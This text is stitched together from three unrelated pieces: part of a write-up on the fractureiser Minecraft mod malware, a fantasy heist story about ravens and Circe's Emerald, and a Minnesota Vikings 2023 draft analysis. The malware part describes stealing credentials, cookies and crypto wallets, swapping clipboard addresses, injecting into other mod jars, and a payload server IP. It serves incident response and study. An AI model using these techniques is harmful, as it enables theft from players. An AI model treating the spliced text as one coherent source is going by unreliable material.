• 6ec85c8112c25abe4a71998eb32480d266408863 (Shadowex3’s earlier upload)

Stage 2 is obfuscated with a demo version of the Allatori obfuscator, and its main class is called Bootstrap .
TODO, describe the double wrapped behaviour.
Stage 2 downloads stage 3, client.jar , loads its code, and executes the start method located within dev.neko.nekoclient.Client .

Stage3 (client.jar)

sha-1: c2d0c87a1fe99e3c44a52c48d8bcf65a67b3e9a5
client.jar is an incredibly obfuscated and complex bundle of code and contains both java and native code.
It appears to contain a native payload hook.dll , decompiled: https://gist.githubusercontent.com/NotNite/79ab1e5501e1ef109e8030059356b1b8/raw/c2102bf5ff74275ac44c2200d5121bfff652fd49/hook.dll.c
There are two native functions meant to be called from Java, as they are JNI callable:

• __int64 __fastcall Java_dev_neko_nekoclient_api_windows_WindowsHook_retrieveClipboardFiles(__int64 a1);
• __int64 __fastcall Java_dev_neko_nekoclient_api_windows_WindowsHook_retrieveMSACredentials(__int64 a1);

from analysis, these do what they say on the tin:

• read clipboard contents
• Steal Microsoft account credentials

There is also evidence of code attempting to do the following:

• Scan for all JAR files on the system that look like Minecraft mods (by detecting Forge/Fabric/Quilt/Bukkit) and attempt to inject stage 0 into them
• Steal cookies and login information for many web browsers
• Replace cryptocurrency addresses in the clipboard with alternates that are presumably owned by the attacker
• Steal Discord credentials
• Steal Microsoft and Minecraft credentials, from a variety of launchers
• Steal crypto wallets

Jars are heuristically detected as Minecraft mods or plugins as follows:

• Forge (dev/neko/e/e/e/A): The malware attempts to locate the u/Mod annotation, which is required in every mod
• Bukkit (dev/neko/e/e/e/C): The malware checks if a class extends Bukkit’s JavaPlugin class
• Fabric/Quilt (dev/neko/e/e/e/i): The malware checks if a class implements ModInitializer
• Bungee (dev/neko/e/e/e/l): The malware checks if a class extends Bungee’s Plugin class
• Vanilla (dev/neko/e/e/e/c): The malware checks if the main client class net.minecraft.client.main.Main exists

More details are available in the live stage-3 reversal doc: https://hackmd.io/5gqXVri5S4ewZcGaCbsJdQ

Other Stuff

The only official channel run by the same team that wrote this writeup is #cfmalware on EsperNet IRC — we do not have a Discord. You may join the channel if you wish — due to an influx of new users we’ve set the channel +m, you will need permission to speak. Joining an IRC channel will expose your IP address.
IRC logs: TODO
The main payload server is was (got taken down) hosted on Serverion, a company based in the Netherlands.
Other than an HTTP server on port 80/443 and an SSH server on port 22, the following ports were open on 85.217.144.130 :

• 1337
• 1338 (a port referenced in stage 1’s file for creating new Debugger connection)
• 8081 (this is a WebSocket server - no apparent function right now, not referenced in any malicious code)
• 8082 (nobody’s gotten anything out of this one, not referenced in any malicious code)
• 8083 (contacted by stage 1)

Curiously, fractureiser’s bukkit page says “Last active Sat, Jan, 1 2000 00:00:00” https://dev.bukkit.org/members/fractureiseprojects/

Follow-Ups

While it’s a bit early to speak of long term follow-ups, this whole debacle has brought up several critical flaws in the modded Minecraft ecosystem. This section is just brainstorming on them and how we can improve.

1. Review at mod repositories is inadequate What exactly does CurseForge and Modrinth do when “reviewing” a mod? We should know as a community, instead of relying on security through obscurity. Should be we be running some sort of static analysis? (williewillus has a few ideas here)
2. A lack of code signing for mods Unlike the software industry at large, mods released and uploaded to repositories are usually not signed with a signing key that proves that the owner of the key uploaded the mod. Having signing and a separate key distribution/trust mechanism mitigates compromise of CurseForge accounts. However, this then leads to the greater issue of how to derive key trust, as the fact that “this jar has this signature” has to be communicated out of band from CurseForge/Modrinth, in a standard way so that loaders or users can verify the signatures. Forge tried to introduce signing many years ago and it had limited uptake.
3. A lack of reproducible builds Minecraft toolchains are a mess, and builds are usually not reproducible. It is common to have buildscripts fetching unpinned -SNAPSHOT versions of random Gradle plugins and using them, which results in artifacts that are non-reproducible and thus non-auditable. A random Gradle plugin being a future attack vector is not out of the question.
4. Lack of sandboxing of Minecraft itself Java edition modding has always had the full power of Java, and this is the other side of that double-edged sword: malicious code has far-reaching impact. Minecraft itself is not run with any sandboxing, and servers usually are not sandboxed unless the owner is knowledgeable enough to do so.

Good sandboxing is difficult, especially on systems such as Linux where SELinux/AppArmor have such poor UX that no one deploys them.

Credits

Nonextensive! Thank you to all that pitched in. We’ll flesh this out after this all blows over.
Shadowex3: Extensive reverse engineering, early discovery learned of later Nia: Extensive stage 3 reverse engineering Jasmine: Coordination, writing the decompiler we’ve been using (Quiltflower) Emi: Coordination, initial discovery (for this team), and early research williewillus: Coordination, journalist quat: Documentation, initial infected sample research xylemlandmark: Coordination of documentation, crowd control, responsible for using Snopyta at first and the disaster that caused
​
Live updated document - https://hackmd.io/B46EYzKXSfWSF35DeCZz9A
Curseforge is aware of the issue keep an eye in their discord for announcements.

Books sat all around the Choir, who were mental hospital patients magically shaped as ravens. I was the first to take human form, as my raven's eye spotted what I hoped was ours. It was one book among many, but it was also Circe's diary. As a man I could thumb the pages.
We had come in through the open window of the room of the manor that held so many books. I'd noticed the old diary right away and begun to read it while the ravens shifted from void travelers to humans.
I frowned, realizing it was just a record of all of her lovers. An impressive body count of seventy-seven, I noted her notation on the last page. Then a chill ran through my blood. The sorcerer in me knew something about them.
"Cory, what sort of magic can be divided into parts, among lovers?" I asked.
"I have no idea, my Lord." Cory looked at the book. "A diary?"
"Yes. Circe's diary, but I suspect it is more than that. She had a second use for these creeps. I bet we could find something." I decided. The fortunate find was only a promise. I had no idea if there was useful magic or not. Whatever magic she had hidden would be worth hiding, obviously.
The others shambled past me and Cory in their open straight jackets and bathrobes and hospital gowns. They had all sorts of weapons: clubs, a broken bottle, a claw pincher and an uzi. I had my staff, carved from the unstable and formless magic between worlds into a proper weapon.
We needed our weapons, dried zombies stood in our way, shuffling among the books. Magical slaves, living corpses. They were still dangerous and had to be destroyed.
For a moment the dead stood in our path, their eyes shimmering blankly in the shadows. They regarded us, the intruders, then began to shuffle towards us. I felt a chill of revulsion at the sight of corpses walking and gagged on their stench. I'd seen far worse, but one never truly gets used to such things.
A loud rapid clapping noise and the merry tinkle of bullet casings erupted from the uzi. It was pretty ineffective. The rest of the Choir brandished their weapons and strode forward like the maniacs they were. Even Scarlet was in the mood to kill something and she tore apart more than one of the shambling dead.
She looked at me and I caught a gleam in her eye of psychotic delight. Some nervous feeling always rose up in me since the first time I had met her. Somehow the shift from a helpless hitchhiker to a hook handed murderer always caught me off guard.
When we'd finished killing the dead we sorted our way out from the books.
Time seemed distorted. How things played out always felt surreal as we partially entered entirely different worlds than our own. There was always a dreamlike perspective, as though I were merely an actor under observation rather than a participant. I often had to remind myself of the grim reality I was trapped in.
I had lost count of the rare artifacts we had stolen for Aureus and the worlds we had invaded and brought death and horror to. I loathed all of it, feared there was no salvation after my numerous misdeeds. What choice did I have?
I led the Choir through the manor, watching myself do so.
There were other servants, just as ghoulish as the dried zombies. We killed everything we met until we got to the master bedroom. The safe was too big to take with us.
"Cater?" I asked our safecracker. She was also totally nuts. Her wild eyes rolled around and beheld the safe as though pretending she hadn't noticed it. Her fake response of joy wasn't really fake, she was actually happy.
"Gots." She whispered and went to work on the safe. The Choir stood around breathing too loudly for her and drooling. Eventually she got it open and took out the green gem. It sparkled evilly. Circe's Emerald.
"Let's go." I said and we all returned to the books and found the ġedwimor was shimmering visibly where we could revert to ravens that could fly home. We leapt through it and into flight. Our rave cast the shadow of one great bird. The magics welcomed us, living and enchanted creatures that we were, and insane. Across worlds and time we flew back to our home.
At Dellfriar we arrived. Except I had finally found my way out. Aureus somehow knew before I did that I held the key to my escape. It was in Circe's Diary that the clue existed. There was more to her spell than turning the enlightened into ravens.
I dreamed of the unkindness of ravens watching me. Cory asked me in the dream:
"How many pigs are on her island?"
I began to count them and I took a step with each number. By the seventy-seventh step I was asleep again, within the dream. I looked at my sleeping form in the dreamscape, surrounded by pigs and watched by ravens. I was looking down from a great distance, it suddenly seemed, and then I was looking up from far below.
"Where are we?" I asked Cory. I stared at my crow and he seemed to be smiling. It was the dream that made it seem so.
"Seventy-seven steps to the bottom, my Lord." Cory advised me. "And each must be counted."
"Those were pigs." I pointed out.
"Pigs that were once men. Each of them descended further, marking a fraction of the way. Love is a journey, a dreamy journey, ever downwards." Cory chirped.
"What about the exact number?" I wondered. To a crow, numbers were more symbolic than literal.
"It's just a number of stairs leading into the dream lands. It means nothing." Cory sounded playful. Cory had learned that numbers were literal to humans. It amused him that I was confused.
"But the number of Circe's lovers?" I asked.
"Of course, they are permanently under her control. They made a bargain, surrendering their bodies. Each of them counts as the descent to the bottom. Their blood and hers is mixed. The blood of her lover's, her blood, they are helpless to her will." Cory explained. I was glad I had read so many books with my crow that we both knew the answers when we met in Dream.
"Where is she?" I sat up from the blue clouds and looked around. As I focused I found I was on an island. What I imagined Circe's prison to look like.
Someone spoke to me:
"You use my spell on yourself. A wereraven, part of a rave of lunatics just like yourself. You have stolen my emerald?" I heard the soft voice of a delicate female. I turned around and saw her there. She was staring at me, her eyes looked curious and a little hurt.
"I stole it for Aureus. They're making a weapon, and your emerald is a suitable component." I explained.
"Aureus?" Circe seemed somehow both amused and irritated at-once. "Neither a man nor a woman. Neither a human nor a creature of magic. Not a young soul nor an old one."
"The same." I sighed in sympathetic exasperation.
"You work for me now. You will steal my emerald from this weapon. You will seal Aureus in a moment stolen from the wheel upon which the ages turn. A moment among the aeons that never was and never will be." Circe smiled strangely for me. I sensed that to her victims she seemed irresistible. I found her charms to be crocodilian.
"You are right." I agreed with her. "We have searched for a long time for a way to defeat Aureus."
"Was the answer..." Circe started to ask a question and then paused for emphasis: "Right in front of you all along?"
"We thought that dying might be the answer. If we were dead we couldn't serve Aureus." Cory sounded cheerful and perky, like he was telling a very funny joke.
"Life." Circe swore. "Life is the answer. You are life from me. You wield my powers with ease, Greatson." Circe's smile looked maternal. It occurred to me that I was immune to her charms because I was her descendant only after I heard her say those words.
"You're my Lord's ancestor?" Cory cleverly surmised. "No wonder he is so valuable to Aureus. I thought it was strange that such a powerful sorcerer required help from my Lord!" Cory cawed with hilarity. The revelation held layers of humor for my crow, who felt like explaining further: "You know, because it is so funny. My Lord would be the last choice of most competent magic users. We've routinely made mistakes that could only be made during the hour that is reserved for amateurs!"
Circe tried to hide her amusement. "I'm sure my Greatson is learning. Even I managed to make a few embarrassing mistakes in my youth."
"Really?" I asked.
"No." Circe smiled. "I'm just trying to make you feel better."
"We shall know the plan?" I interrupted. Circe was standing before me, the short distance between us meant nothing in Dream. She looked serious as she drew upon my eyelids. I could watch her do so with my eyes closed.
Then I awoke in the dream I had descended from. I was again among the pigs and the ravens. From there I shook myself awake in the real world. For a moment I was tempted to shake myself again. Fear that I might wake up in a higher place from which I wouldn't be able find sleep made me hesitate.
"Do you recall the dream we have had, my Lord?" Cory asked.
"About Circe being my great grandma? With a few more 'greats'?" I answered rhetorically.
"Yes. She put a spell on you. Can you see anything that you couldn't?" Cory asked.
I blinked and looked around. For just an instant, out of the corner of my eye, I could see Aureus somewhere else in Dellfriar and busy with the artifact's assembly. Several components were still missing - though.
The theft of Circe's Emerald and the escape from Dellfriar had many outcomes. There is only one that I survived. Only one version that can be reassembled from the chaos of so many worlds collapsing inward, so many realities becoming undone. Circe was right, it was only life - the deepest magic I knew of.
Inspiration came with my new perception. I could see the path ahead of me. I could see that there was only one version in which I survived and escaped. If I had done anything differently, the butterflies of death would have touched me.
I saw the window of opportunity and I knew every step I had to take. I took my bag and my staff, collecting the implements of my magical heists into the bag. I clicked my tongue and my crow alighted upon my shoulder.
With a cunning plan in mind, I ventured into the heart of Aureus's lair alone. The dimly lit chamber was filled with intricate machinery and arcane devices. I could sense the pulsating energy of Circe's Emerald, beckoning to me from its secure pedestal.
Taking utmost care to avoid detection, I stealthily maneuvered through the labyrinthine corridors, relying on my years at Dellfriar as a master thief. The shadows embraced me, concealing my presence from any wandering guards or surveillance systems that may have kept sentinel.
As I reached the chamber, I surveyed the room for any potential traps or alarms. It seemed Aureus had grown complacent, perhaps underestimating the audacity of a lone infiltrator. With a wry smile, I knew this was my moment to strike.
Silently, I approached the pedestal housing the emerald. It radiated a mesmerizing glow, casting ethereal patterns on the walls. Carefully, I retrieved a set of specialized tools from my bag: a combination of lockpicks and arcane implements.
I began to work my way through the security measures protecting Circe's Emerald. Each lock and enchantment posed a challenge, but my skilled hands moved with precision and finesse. The emerald's aura seemed to dance in anticipation, as if recognizing the touch of someone who understood its power.
Minutes stretched into eternity as I delicately dismantled the final obstacle. With a soft click, the emerald was finally free from its confinements. Holding it delicately in my gloved hand, I could feel the vibrant energy coursing through my fingertips.
But my mission was not yet complete. I had to make my escape undetected, evading any Choir or enchantments that may lie in my path. The emerald, now securely concealed within a specially crafted case, remained a beacon of power.
Slinking through the shadows, I retraced my steps, navigating the treacherous corridors with the precision of a phantom. Every movement was calculated, every sound muffled, ensuring that my presence went unnoticed.
As I emerged from the depths of Aureus's lair, a surge of adrenaline coursed through my veins. I had accomplished what seemed impossible: an audacious heist of Circe's Emerald from under the nose of a powerful adversary.
With the emerald secured, I vanished into the night, leaving no trace of my daring feat behind. The power of Circe's Emerald now resided in my possession, a relic of immense potential. Its fate, and the choice of how to wield its formidable magic, rested solely in my hands.
Little did Aureus or The Choir suspect that their plans had been quietly usurped. The heist had been a success, an act of cunning and skill that would alter the course of their intricate dance. In the shadows, I contemplated my next move, knowing that the emerald would grant me the power to shape destiny itself.
As I reached the top of the castle, a gust of wind tousled my hair, carrying with it the whispered echoes of Aureus's approach. I could sense their presence, their energy tinged with frustration and anger. It was clear they had discovered the theft of Circe's Emerald and were now in hot pursuit.
Just as I was about to invoke the ancient spell, the very same one that had allowed Circe's spellbound to transform into ravens and traverse the realms, Aureus materialized before me. Their form exuded an aura of authority and power, yet beneath the surface, I could sense their desperation.
"You dare to steal from me?" Aureus's voice reverberated with a mix of fury and disbelief. "That emerald holds powers beyond your comprehension. Return it to me now, and perhaps I shall spare your wretched existence."
I stood on the edge of the castle, the vast expanse stretching out before me. Time and space awaited, ready to be conquered by the wings of the raven. With unwavering resolve, I met Aureus's gaze and spoke with conviction.
"The emerald has chosen a new path, away from your grasp," I declared, my voice steady despite the adrenaline coursing through my veins. "Its power will not be wielded by your hands, for it belongs to a greater purpose."
Aureus's expression twisted into a mixture of rage and desperation. Their outstretched hand reached for me, a last-ditch effort to prevent my escape. But I was quicker, fueled by the magic I now possessed.
With a swift motion, I uttered the incantation, and my form transformed into that of a raven. Wings extended, I took flight, the wind carrying me away from the clutches of Aureus. The space between worlds beckoned, an ethereal gateway to new realms and infinite possibilities.
As I soared through the threshold, I glanced back, witnessing Aureus's desperate grasp falling short. Their fingers brushed against the empty air, and with a cry of frustration, they plummeted into the void, disappearing into the abyss between worlds.
In that fleeting moment, I felt a mixture of triumph and sadness. Aureus, once a formidable adversary, now lost in the vast unknown. But my purpose lay beyond their reach, and I knew that I carried the weight of Circe's legacy upon my wings.
Across worlds and time, I journeyed, guided by the whispers of ancient knowledge and the power of the emerald. As I soared through realms, I vowed to protect its magic, to wield it for the greater good, and to ensure that Aureus would never threaten the balance again.
The adventure had only just begun, and I embraced the uncertainty that lay ahead. With the wind beneath my wings, I charted a course through the tapestry of existence, carrying Circe's legacy forward, and leaving Aureus to face the consequences of their insatiable hunger for power in the ever-shifting space between worlds.
"We have but one flight, there will be no way back to Dellfriar when we land." Cory interrupted my musings. "Where are we going?"
I smiled at the question, for it was obvious. Cory was always there, upon my shoulder. For me there was somewhere I wanted to be:
"We are going home."

Link to Hub

Recapping 2022

2022 was a dangerous year to be a Vikings fan, especially if you have a pre-existing heart condition. While a season of 13 wins -- tied for the most since 1998 -- may seem like the team is in a position to make a Superbowl push, the actual quality of the team is a lot more... well, mediocre.
The 2022 Vikings ranked 19th in offensive EPA per play, 25th in defensive EPA per play, 27th in Overall DVOA, and 15th in Pythagorean Wins (with 8.4 expected wins). Kevin O'Connell always preached the performance of the team in priority situations. The team finished 12th in 3rd down conversion rate and 8th in red zone conversion rate. And the team led the league -- by far -- in the number of 4th quarter comebacks and game winning drives. When it was time to put up or shut up, the team put up hard. Except for in the playoffs.

2023 Offseason

All of that made the future of the Vikings tough to read. But Kwesi Adofo-Mensah and the rest of the front office told us what they thought of the team with their free agency moves. In a league where teams are trading the farm for Hall of Fame QBs and giving $20M/Year deals to nose tackles and guards, the Vikings' big free agent splash were a one year deal on an injury-prone DE and a good-not-great corner that doesn't even crack the top 20 highest AAVs at the position. Concurrently, the team parted ways with half of the team's 2022 captains to try to get under the cap. All of this while the team is not done with transactions -- Dalvin Cook still presents as a cut candidate due to his age and contract structure.
Notable Departures:

• WR Adam Thielen ($6.4 Saved / $13.5 Dead)
• LB Eric Kendricks ($9.5 Saved / $1.93 Dead)
• CB Patrick Peterson (Unrestricted Free Agent)
• DT Dalvin Tomlinson (Unrestricted Free Agent)

Notable Arrivals:

• CB Byron Murphy (2Y / $17.5TOT / $8.1GTD)
• EDGE Marcus Davenport (1Y / $13TOT / $10GTD)
• TE Josh Oliver (3Y / $21TOT / $8.2GTD)
• DT Dean Lowry (2Y / $8.5TOT / $4.2GTD)
• EDGE Za'Darius Smith (Post-draft trade)

Other Notable Transactions:

• Re-Signed C Garrett Bradbury (3Y / $15.75TOT / $5.15GTD)
• Re-Signed RB Alexander Mattison (2Y / $7TOT / $6.35GTD)
• Re-Signed FB CJ Ham (3Y / $5.6TOT / $3.3GTD)
• Re-Signed All-Pro LS Andrew DePaola (3Y / $4.025TOT / $1.515GTD)

The other major change that influenced how the team addresses the draft was the shift from Ed Donatell's Cover 2 shell defense to Brian Flores's aggressive man defense. Compared to the 2022 Vikings, Flores's 2021 Dolphins blitzed over twice as often and played with light boxes at roughly half the rate. On top of the front seven, one of the biggest changes in scheme is the Cover 2 alignment, which Donatell employed on nearly half of all defensive snaps compared to just 12% for Flores's 2021 Miami team. With one crop of rookies and free agents brought in to play in a Fangio style scheme, the defense would have to undergo a massive shift to succeed in a scheme that can only be described as the complete opposite of what was run in 2022.

Draft Needs

Cornerback - Arguably the Vikings' biggest need, the team was without a true CB1. Byron Murphy comes aboard as the most experienced player. Pegged a slot-only player through his first three years, Murphy spent most of his time in 2022 outside and had a career year. After that, the team looked to rely on improvements from their 2022 draft class with Andrew Booth and Akayleb Evans, two players that combined for fewer than 300 defensive snaps last season primarily due to injury. You can see how KAM and crew, confident in their scouting ability, are betting on health to affect the secondary for the better. But taking another bet on a young player is a smart move at a position where depth is always a good thing.
Interior Defensive Line - The loss of Dalvin Tomlinson -- who played 551 snaps last year and compiled 14 pressures -- leaves issues next to Harrison Phillips. Jonathan Bullard was third on the IDL with 319 snaps last season and returns on a one year deal. Tonga and Lynch had some flashes, and the team brought in Lowry. The rotation (optimistically) can get to competent. But finding a true winner on the inside of the line was viewed by many as a priority.
Wide Receiver - The Vikings starting personnel at WR heading in to the draft was Justin Jefferson (stud), KJ Osborn (decent), and... Jalen Nailor? Brandon Powell? Oh dear Lord don't tell me it's Jalen Reagor. The loss of Adam Thielen was expected, but nevertheless leaves a gaping hole next to JJ and KJ in the lineup. Keenan McCardell is arguably the best WR coach in the league, and playing with Jefferson would give one-on-one opportunities for any receiver. But having somebody that can actually win those one-on-ones remains a question.
Inside Linebacker - Eric Kendricks's jersey change marks the true end of an era at LB. Kendricks struggled in Donatell's scheme last season, as did most players. But he was a longtime leader on the defense and a valued community member. Jordan Hicks, Brian Asamoah, and Troy Reeder sit atop the depth chart. Hicks can be solid and Asamoah had flashes, but counting on this group as every down players is a risk to say the least.
Offensive Guard - Ed Ingram was one of the worst starting guards in the league last season. But he's a rookie. Maybe he gets better in year 2. Maybe he stays terrible. Even if you're optimistic there, Ezra Cleveland is entering a contract year at left guard. Adding interior offensive line depth is always smart.
Quarterback - This offseason, reports surfaced that the team and QB Kirk Cousins could not finalize a contract extension. That means for the first time in his Vikings tenure, Cousins is entering a contract year. Cousins has been an above average QB during his time in Minnesota. Last year saw him finish 4th in yards, but he was painfully mediocre at efficiency stats like TD percent (17th), ANY/A (18th), and ADOT (20th). Entering his age-35 season, it would be wise to look for a successor even if the team plans on retaining Cousins past 2023.

The Draft

*Indicates measure is taken from Pro Day
1.23 WR Jordan Addison, USC
Profile: Jr 5'11 173lbs 31.5 Arm\ 8.75 Hand 75.125 Wing* 4.49 40 1.57 10 34 VJ 10'2 BJ 4.19 SS* 7.05 3c 5.95 RAS*
2022 Stats: 11 Gm 59 Rec 875 Yds 8 TD 2 Drops
Steve Smith Sr: "Addison has one of the highest ceilings among WRs in this draft due to his blend of route running chops and his all around athleticism. He is a three level route runner: intermediate, deep, and short... The way he can get in and out of his breaks is so natural. He uses leverage. And he manipulates the DB consistently"
Addison -- a Biletnikoff Award winner during his Pitt days -- is one of the highest floor players in the class. He is a route running technician with proven dominance playing inside and outside. He had more than 3 yards per route run in two different offenses. He understands how to marry his athleticism and quickness with the breaks in his routes. He finds the DB's blind spot and forces them to lose. Addison is a bit on the small side, but not abnormally so given this draft class. He does have some concerns with his hands -- his drop rates as a freshman and sophomore were 14% and 10%, respectively -- but he showed improvement in this as a junior.
The need here is clear. As mentioned earlier, the WR depth past JJ and KJ is abysmal. Even with Thielen and Osborn on the roster in 2022, the Vikings needed juice in the WR room. The 2022 Vikings had one top 5 WR in yards per route run (Jefferson). There was no other receiver in the top 100. Teams were not worried about Thielen or Osborn. Teams could put two or three defenders on Jefferson without any fear of what anyone else might do to their defense. Hockenson fixed this a bit down the stretch, but an outside playmaker was still needed.
The real question here is why the team opted not to go for CB Joey Porter Jr, who filled what many considered to be the team's biggest need and was a higher ranked prospect for Lance Zierlein, PFF, Danny Kelly, Matt Miller, and Dane Brugler. The answer here -- if I can take a guess and stretch my logic a bit -- is that the need at WR2 was greater than the need at CB. Patrick Peterson was the biggest loss in the secondary, and the team brought in Byron Murphy to try to fill that role. On offense, Minnesota had not brought in a replacement for Adam Thielen. The depth chart past Jefferson and Osborn was filled with bodies that might not make a 53-man roster on a lot of teams.
Trade: MIN gives 3.87 to MIN for 3.102, 5.164, 7.222

	Jimmy Johnson	Rich Hill	Fitzgerald-Spielberger	Harvard
Total give	155	48	737	115
Total get	117.7	45	1334	197
Absolute Diff	-37.3	-3	+597	+82
Percent Diff	-24%	-6%	+81%	+71%

The biggest thing to consider when evaluating this trade is that the Vikings came into the draft with 5 picks, only two of which were in the top 100. In my biased opinion, this was a home run trade, even if the traditional charts disagree. To take three swings at the bat instead of one is a humble and wise strategy, especially for a team with limited draft capital. The move looks even better in hindsight because there were no CBs taken between 87 and 102.
3.102 CB Mekhi Blackmon, USC
Profile: 6Sr 5'11" 178lbs 31" Arm 9.25" Hand 74.625" Wing 4.47 40 1.47 10 36 VJ 10'5" BJ 11 Bench 7.44 RAS
2022 Stats: 14 Gm 66 TKL 2 TFL 1 FF 15 PD 3 INT
Brett Kollman: "Feisty, physical press corner who definitely has to play more under control in the NFL to avoid flags, but he has all the competitiveness you want to see from a potential CB1 at the next level. Never backs down from anyone. Has easy gas to stay in control of a route from top down, even against true burners. Legit 4.4 speed and gets up to it quickly. Outstanding ball production... Held up extremely well despite being targeted often. Battle tested, aggressive, and confident... Very similar to Desmond Trufant."
An unrecruited high school positionless player out of high school that signed with JuCo San Mateo, Blackmon followed up four seasons at Colorado with a breakout 2022 campaign as one of the best defenders on the USC defense. The Trojans played a man-heavy scheme, which let Blackmon shine. He has great anticipation and instincts. His production this year says as much. He plays bigger than his size, and he has inside-outside versatility. He will have to clean up some of his physicality to avoid flags at the next level. He will also have to refine his technique to stay with the more complex routes he'll see. But he is a strong culture and scheme fit for what Brian Flores is bringing to the defense.
The need at CB was obvious even before hiring Flores. The Vikings ranked 31st in passing yards allowed, 26th in Passing DVOA, and 24th in EPA allowed per pass attempt. Bringing in Byron Murphy helps. So do the healthy returns of Booth and Evans. But Murphy has not yet shown that he can be a consistently great player (or at least not markedly better than what we got out of Patrick Peterson last year). And Booth and Evans are unproven. Blackmon -- taken with the last pick on Day 2 -- is not expected to come in and be Jalen Ramsey or Sauce Gardner. But in a shift to a more aggressive man-coverage defense with a thin CB room, Blackmon is an upside player that will have every chance to take a starting spot on a porous defense.
Trade: MIN gives 4.119 to KC for 4.134, 2024 5th\*

	Jimmy Johnson	Rich Hill	Fitzgerald-Spielberger	Harvard
Total give	56	24	578	88
Total get	58.4	24	898	133
Absolute Diff	+2.4	0	+320	+45
Percent Diff	+4%	0%	+36%	+34%

On top of entering the weekend with a mere 5 draft picks in the current year, the Vikings also entered with a mere 5 draft picks in the 2024 class (3rd rounder traded for Hockenson, 5th rounder traded for Reagor). Dropping 15 picks in a relatively flat part of the draft while adding a mid-Day 3 pick is good business given this team's lack of capital.
*Here we assume a future pick in round n is valued at the middle pick of round n+1, not accounting for compensatory picks. In this case, a 2024 5th is equated to pick 176.
4.134 S Jay Ward, LSU
Profile: Sr 6'0.5" 188lbs 32.5" Arm 8.25" Hand 76.875" Wing 4.55 40 1.54 10 34.5 VJ 11' BJ 4.35 Shuttle\ 7.31 3c 16 Bench 6.70 RAS*
2022 Stats: 13 Gm 60 TKL 2.5 TFL 5 PD 1 INT 2 FR TD
Nate Tice: "A ton of fun. I just like this fit because of Brian Flores's defense. Just picture all of those mixture guys that the Patriots have used over the years... Jay Ward can be that"
A three year starter with reps at safety, slot, and outside CB, Ward is one of the most versatile players in the class. He possesses excellent length and movement skills. His experience at CB make him a fluid player in coverage. In the run game, Ward's size is a concern. His 188lbs Combine weight puts him in just the second percentile for safeties. This translates to issues with taking on blocks. He is a very aggressive player, beelining to the ball as soon as it's out. But his size coupled with his impatient playstyle lead to a lot of missed tackles. He was also flagged seven times last season.
In his final season in Miami, Flores was extremely creative with how he employed his safeties. Jevon Holland had the 2nd most blitzes in the league at the position. The number 1 player? His teammate Brandon Jones. With the defense taking on Flores's amoeba identity, an aggressive player with experience at multiple positions has the potential to find a role early on. The defense will look to utilize him similar to how Jevon Holland was used as a rookie. And with Harrison Smith well into the twilight of his career, Ward is a timely pick as the team attempts to thread the needle in their competitive rebuild.
Trade: MIN gives 5.158, 6.211 to IND for 5.141

	Jimmy Johnson	Rich Hill	Fitzgerald-Spielberger	Harvard
Total give	32.4	13	722	103
Total get	36	15	492	74
Absolute Diff	+4	+2	-230	-29
Percent Diff	+10%	+13%	-47%	-39%

It's a bit strange to see Adofo-Mensah move away from the analytics charts in favor of the traditional ones, but the value swap here is not absurd. The real question with this trade will be if Roy ends up being a true contributor.
5.141 NT Jaquelin Roy, LSU
Profile: Jr 6'3" 305lbs 32.75" Arm 10.125" Hand 78.125" Wing 5.13 40\ 1.82 10* 26" VJ* 8'5" BJ* 5.00 Shuttle 8.01 3c 30 Bench 3.72 RAS*
2022 Stats: 13 Gm 49 TKL 3.5 TFL 0.5 SCK
Lance Zierlein: " The more you watch, the more you like the way Roy plays the game... Despite limited starting experience at LSU, he already displays signs of a rush plan and the athletic talent to execute it. Roy is an ascending talent with the potential to become a quality starter. "
After a 30 tackle, 1.5 sack campaign as a rotational player in 2021, Roy shifted from a penetrating 3T position to more of a traditional nose tackle under new HC Brian Kelly. This transition let Roy shine as a run stuffer. He eats space and is incredibly tough to move from his spot. He averaged almost 52 snaps a game in 2022 and his motor never let up. He has some work to do if he wants to be a three down player, particularly as a pass rusher. His bend and balance in this front are especially lacking.
The Vikings' front office seems to be a lot more comfortable with the current IDL room than I am. Harrison Phillips is a plus starter. Past that, the roster is filled with unproven youth or proven subpar players. As a 5th round pick, Roy has an uphill battle to separate himself from that group. But he's a good lottery ticket at this price. His positional versatility ensures that the defense can simply put their best players on the field.
5.164 QB Jaren Hall, BYU
Profile: RSr 6'0" 207lbs 39.75" Arm 9.5" Hand 71.875" Wing 4.63 40\ 1.59 10* 4.19 Shuttle* 7.06 3c* 7.96 RAS*
2022 Stats: 12 Gm 248 Comp 376 Att 66% Comp 3171 Yds 31 TD 6 INT 86 Rush 789 Rush Yds 9 RUsh TD
Kwesi Adofo-Mensah: "We added a really talented player that has a ton of upside... The ability to make decisions, throw the football accuracy, deal with conflict when it comes his way, and sometimes try to make a play outside the framework of the playcall. He does all those things at a really great level... That's an outstanding young man. I'd like to see him lead my team or any organization I'm a part of."
Despite being the third oldest prospect in the QB class, Hall only has 24 starts under his belt due to two years on religious mission and one year with a hip injury. But when Hall took over for Zach Wilson in 2021, he hit the ground running. BYU went 10-3 in that first year with Hall compiling a 4:1 TD:INT ratio. He is a two time team captain, and all reports of his character are off the charts.
Hall is a poised pocket passer capable of extending plays and picking up yardage on the ground. He was only sacked 12 times in 2022, which is a testament to both BYU's offensive line and Hall's ability to create under pressure. There are conflicting opinions on Hall's upside and arm strength, with Lance Zierlein calling his arm "unimpressive" while Kyle Crabbs claiming that hall has a "live arm with the ability to throw with juice off platform". Where there was near-universal agreement was in his understanding of the scheme, as Hall operated BYU's RPO-heavy offense like a machine. He has a clean release and quickly gets into a rhythm. His largest universal concerns are his age (he turned 25 in March) and his injury history (missed 20 games in the last 4 years). He also has ball security issues with 13 fumbles over his career.
I expected the Vikings to draft a QB in this class. The only question was if it would have been via a trade up on Day 1 or a flyer on Day 3 (or a falling Will Levis). With his age, size, and injury history, there are plenty of questions about what Hall can be. He will have a year in practice to put together his audition tape to be Kirk Cousins's replacement -- it's certainly a viable path for this team to take a RiddeHowell/Mills-esque year to evaluate Hall while they continue retooling the defense. But the more likely path is that Hall becomes a long-term backup for the team. Cousins has been the model of health, but that doesn't mean that QB2 is an unimportant position. Sean Mannion, Kellen Mond, and Nick Mullens have manned that position to various degrees over the past few years. None has shown that they can be a competent plug-in player if needed. There is some hope that Hall -- who operated the BYU offense with a mechanic efficiency -- can be that player.
7.222 RB DeWayne McBride, UAB
Profile: Jr 5'10" 209lbs 30.625" Arms 9.5" Hands 73.125" Wing 20 Bench\*
2022 Stats: 11 Gm 233 Att 1713 Yds 19 TD 7.4 Y/A 2 Rec 10 Rec Yds
